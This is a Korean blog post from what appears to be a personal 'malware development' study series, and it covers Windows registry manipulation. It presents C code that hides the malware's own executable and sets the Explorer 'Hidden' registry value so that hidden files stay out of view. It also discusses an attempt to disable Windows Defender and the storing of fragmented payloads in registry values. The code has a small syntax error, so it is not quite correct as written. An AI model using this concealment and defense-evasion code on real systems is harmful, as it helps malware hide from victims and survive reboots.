레지스트리 조작하기
악성코드의 지속을 위해 시작 프로그램에 레지스트리의 값을 새로 만들었는데,
이번에는 기존에 있던 레지스트리 값을 바꿔서 악성코드를 만들어보자!
https://m.blog.naver.com/heeju5517/221866538898
↑공격에 사용되는 레지스트리 정리 자료
파일 숨기기
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden: 숨김파일 보이지 않기
1(show) -> 2(don't show)
딱히 지난번과 로직이 달라지진 않았다.
파일 경로로 들어가서, 이번엔 DWORD 값을 바꾸는 것밖에 차이점이 없다.
void hide_file(){
// 숨김 파일로 만들기
wchar_t exePath[MAX_PATH];
DWORD length = GetModuleFileNameW(NULL, exePath, MAX_PATH);
DWORD attr = GetFileAttributesW(exePath);
if (attr == INVALID_FILE_ATTRIBUTES){
printf("no file error\n");
}
attr |= FILE_ATTRIBUTE_HIDDEN;
if (SetFileAttributesW(exePath, attr)){
printf("[+] file is hidden!\n");
}
else {
printf("file hidden error\n");
}
HKEY hKey;
DWORD value = 2;
// 레지스트리 키 열기 (KEY_SET_VALUE 권한으로 열기)
LONG result = RegOpenKeyExW(
HKEY_CURRENT_USER,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced",
0,
KEY_SET_VALUE,
&hKey
);
if (result == ERROR_SUCCESS) {
// 레지스트리 값 설정
result = RegSetValueExW(
hKey,
L"Hidden",
0,
REG_DWORD, // 4바이트 정수형
(const BYTE*)&value
sizeof(value) // 널 문자(\0) 포함 길이
);
if (result == ERROR_SUCCESS) {
printf("[+] registry success!\n");
}
else {
printf("error with code %ld\n", result);
}
// 사용이 끝난 레지스트리 핸들 닫기
RegCloseKey(hKey);
}
else {
printf("failed to get registry key with error code %ld\n", result);
}

레지스트리는 정상적으로 적용되었다.

이렇게 적용하면 내 mal_study.exe 파일은 release에서 사라져있다!
(실제로 레지스트리를 다시 1로 바꾸면 숨김파일의 mal_study.exe가 보인다)

실제로는 파일이 사라진게 아니다
재부팅할 때마다 악성코드가 실행되는 걸 알 수 있다
실제로 사진 위에 뜨는 경로도 release이다.
백신 끄기
이전에는 HKLM\SOFTWARE\Policies\Microsoft\Windows Defender에서 바로 끌 수 있었으나, 이젠 변조 보호(Tamper protection) 기능 때문에 관리자 권한으로 수정하려 해도 microsoft 서명이 없으면 안된다고 한다.
-> 실제로도 잘 안됐다...
페이로드 저장
이제는 하다하다 페이로드를 레지스트리에 저장하기도 한다
- 페이로드를 조각조각 낸다
- 조각낸 페이로드를 레지스트리 value 값에 넣는다...
레지스트리 value를 페이로드 저장소로 썼던 사례
https://blog.alyac.co.kr/4358
'악성코드와 백신 > 악성코드 개발일지' 카테고리의 다른 글
| [악성코드 개발](12)[persistency] (0) | 2026.03.18 |
|---|---|
| [악성코드 개발](11)[obfuscated-shellcode-excution] (0) | 2026.03.16 |
| [악성코드 개발](10)[local-payload-injection] (0) | 2026.03.12 |
| [악성코드 개발](9)[페이로드 암호화] (0) | 2026.03.11 |
| [악성코드 개발](8)[페이로드 난독화] (0) | 2026.03.10 |